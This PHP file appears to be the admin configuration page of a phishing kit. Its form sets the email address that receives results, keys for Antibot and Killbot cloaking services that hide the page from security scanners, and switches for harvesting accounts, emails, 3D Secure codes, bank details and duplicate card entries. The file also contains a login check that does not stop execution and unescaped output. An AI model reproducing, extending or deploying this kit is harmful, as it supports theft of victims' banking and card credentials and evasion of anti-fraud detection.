<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['user'])) {
    header("location: login.php");
}

    $config = __DIR__ . "../../AREA16/system/private/setting.json";
    // echo '<div style="color: #fff;">' . $config . '</div>';

  $fread = file_get_contents($config);
  $parseconfig = json_decode($fread);
 

if (isset($_POST['updated'])) {
  if (
    empty($_POST['ress']) ||
    empty($_POST['parameter']) ||
    empty($_POST['apikey']) ||
    empty($_POST['apikeyy']) ||
    empty($_POST['getaccount']) ||
    empty($_POST['getmail']) ||
    empty($_POST['getcure']) ||
    empty($_POST['getbank']) ||
    empty($_POST['dobleem']) ||
    empty($_POST['doblec'])
  ) {
    die('<script>alert("ERORR!!!!!!!!!!!"); window.location = "config.php";</script>');
  }
  $Result = $_POST['ress'];
  $param = $_POST['parameter'];
  $anti   = $_POST['apikey'];
  $kill   = $_POST['apikeyy'];
  $getaccount   = $_POST['getaccount'];
  $getemail   = $_POST['getmail'];
  $getsecure   = $_POST['getcure'];
  $getbank   = $_POST['getbank'];
  $doublee   = $_POST['dobleem'];
  $doublec   = $_POST['doblec'];

  if(file_put_contents($config, json_encode(array(
    "result" => $Result,
    "parameter" => $param,
    "antibot"    => $anti,
    "killbot"   => $kill,
    "get_account"   => $getaccount,
    "get_email"   => $getemail,
    "get_3dsecure"   => $getsecure,
    "get_bank"   => $getbank,
    "double_email"   => $doublee,
    "double_card"    => $doublec
  ), JSON_PRETTY_PRINT))) {
    die('<script>alert("success full!!!!!!"); window.location = "config.php";</script>');
  }
  fclose($fopen);
}


?>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="1000" > 
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
	<title>PANEL ADMIN</title>
	<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0, shrink-to-fit=no' name='viewport' />
	<link rel="icon" sizes="196x196" >
	<link rel="stylesheet" href="assets/css/bootstrap.min.css">
	<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
	<link rel="stylesheet" href="assets/css/ready.css">
	<link rel="stylesheet" href="assets/css/demo.css">
</head>
<body>
	<div class="wrapper">
		<div class="main-header">
			<div class="logo-header">
				<a href="index.php" class="logo">
				PANEL ADMIN
				</a>
				<button class="navbar-toggler sidenav-toggler ml-auto" type="button" data-toggle="collapse" data-target="collapse" aria-controls="sidebar" aria-expanded="false" aria-label="Toggle navigation">
					<span class="navbar-toggler-icon"></span>
				</button>
				<button class="topbar-toggler more"><i class="la la-ellipsis-v"></i></button>
			</div>
			<nav class="navbar navbar-header navbar-expand-lg">
				<div class="container-fluid">
					<ul class="navbar-nav topbar-nav ml-md-auto align-items-center">
						<li class="nav-item dropdown hidden-caret">
							<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
							</a>
							<div class="dropdown-menu" aria-labelledby="navbarDropdown">
							</div>
						</li>
						</ul>
					</div>
				</nav>
			</div>
			<div class="sidebar">
				<div class="scrollbar-inner sidebar-wrapper">
					<div class="user">
						<div class="photo">
							<img src="assets/img/profile.jpg">
						</div>
						<div class="info">
							<a class="" data-toggle="collapse" href="#collapseExample" aria-expanded="true">
								<span>
									<?php echo $idcard;?>
									<span class="user-level">User</span>
								</span>
							</a>
							<div class="clearfix"></div>
						</div>
					</div>
					<ul class="nav">
						<li class="nav-item active">
							<a href="index.php">
								<i class="la la-television"></i>
								<p>Dashboard</p>
							</a>
						</li>
						<li class="nav-item active">
							<a href="config.php">
								<p>Config</p>
							</a>
						</li>
            <li class="nav-item active">
              <a href="logout.php">
                <p>Logout</p>
              </a>
            </li>
					</ul>
				</div>
			</div>
    <div class="main-panel">
      <!-- End Navbar -->
      <div class="content">
        <div class="container-fluid">
          <div class="row">
            <div class="col-md-8">
              <div class="card">
                <div class="card-header card-header-primary">
                  <h4 class="card-title">YOUR CONFIG </h4>
                </div>
                <div class="card-body">
                  <form action="" method="post">
                    <div class="row">
                      <div class="col-md-6">
                        <div class="form-group">
                          <label class="bmd-label-floating">EMAIL RESULT</label>
                          <input type="text" class="form-control" name="ress" value="<?php echo $parseconfig -> result;?>">
                        </div>
                      </div>
                      <div class="col-md-6">
                        <div class="form-group">
                          <label class="bmd-label-floating">PARAMETER</label>
                          <input type="text" class="form-control" name="parameter" value="<?php echo $parseconfig -> parameter;?>">
                        </div>
                      </div>
                    </div>
                    <div class="row">
                      <div class="col-md-6">
                        <div class="form-group">
                          <label class="bmd-label-floating">ANTIBOT KEY</label>
                          <input type="text" class="form-control" name="apikey" value="<?php echo $parseconfig -> antibot;?>">
                        </div>
                      </div>
                      <div class="col-md-6">
                        <div class="form-group">
                          <label class="bmd-label-floating">KILLBOT KEY</label>
                          <input type="text" class="form-control" name="apikeyy" value="<?php echo $parseconfig -> killbot;?>">
                        </div>
                      </div>
                    </div>
                    <div class="row">
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET ACCOUNT</label>
                          <input type="text" class="form-control" name="getaccount" value="<?php echo $parseconfig -> get_account;?>">
                        </div>
                      </div>
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET EMAIL</label>
                          <input type="text" class="form-control" name="getmail" value="<?php echo $parseconfig -> get_email;?>">
                        </div>
                      </div>
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET 3DSECURE</label>
                          <input type="text" class="form-control" name="getcure" value="<?php echo $parseconfig -> get_3dsecure;?>">
                        </div>
                      </div>
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET BANK</label>
                          <input type="text" class="form-control" name="getbank" value="<?php echo $parseconfig -> get_bank;?>">
                        </div>
                      </div>
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET DOUBLE EMAIL</label>
                          <input type="text" class="form-control" name="dobleem" value="<?php echo $parseconfig -> double_email;?>">
                        </div>
                      </div>
                      <div class="col-md-4">
                        <div class="form-group">
                          <label class="bmd-label-floating">GET DOUBLE CARD</label>
                          <input type="text" class="form-control" name="doblec" value="<?php echo $parseconfig -> double_card;?>">
                        </div>
                      </div>
                    </div>
                    <div class="row">
                    </div>
                    <button type="submit" class="btn btn-primary pull-right" name="updated">Update </button>
                    <div class="clearfix"></div>
                  </form>
                </div>
              </div>
            </div>
            <div class="col-md-4">
              <div class="card card-profile">
                <div class="card-avatar">
                </div>
                <div class="card-body">
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      </div>
      </div>
      </div>
				<footer class="footer">
					<div class="container-fluid">
						<div class="copyright ml-auto">
							Made with <i class="la la-heart heart text-danger"></i> by<a href="https://t.me/IamTrasii0"> UNKNOWN</a>
						</div>				
					</div>
				</footer>
			</div>
		</div>
	</div>
</body>
<script src="assets/js/core/jquery.3.2.1.min.js"></script>
<script src="assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
<script src="assets/js/core/popper.min.js"></script>
<script src="assets/js/core/bootstrap.min.js"></script>
<script src="assets/js/plugin/chartist/chartist.min.js"></script>
<script src="assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
<script src="assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
<script src="assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
<script src="assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
<script src="assets/js/plugin/chart-circle/circles.min.js"></script>
<script src="assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
<script src="assets/js/ready.min.js"></script>
<script src="assets/js/demo.js"></script>
</html>
      Name                    Last modified      Size  Description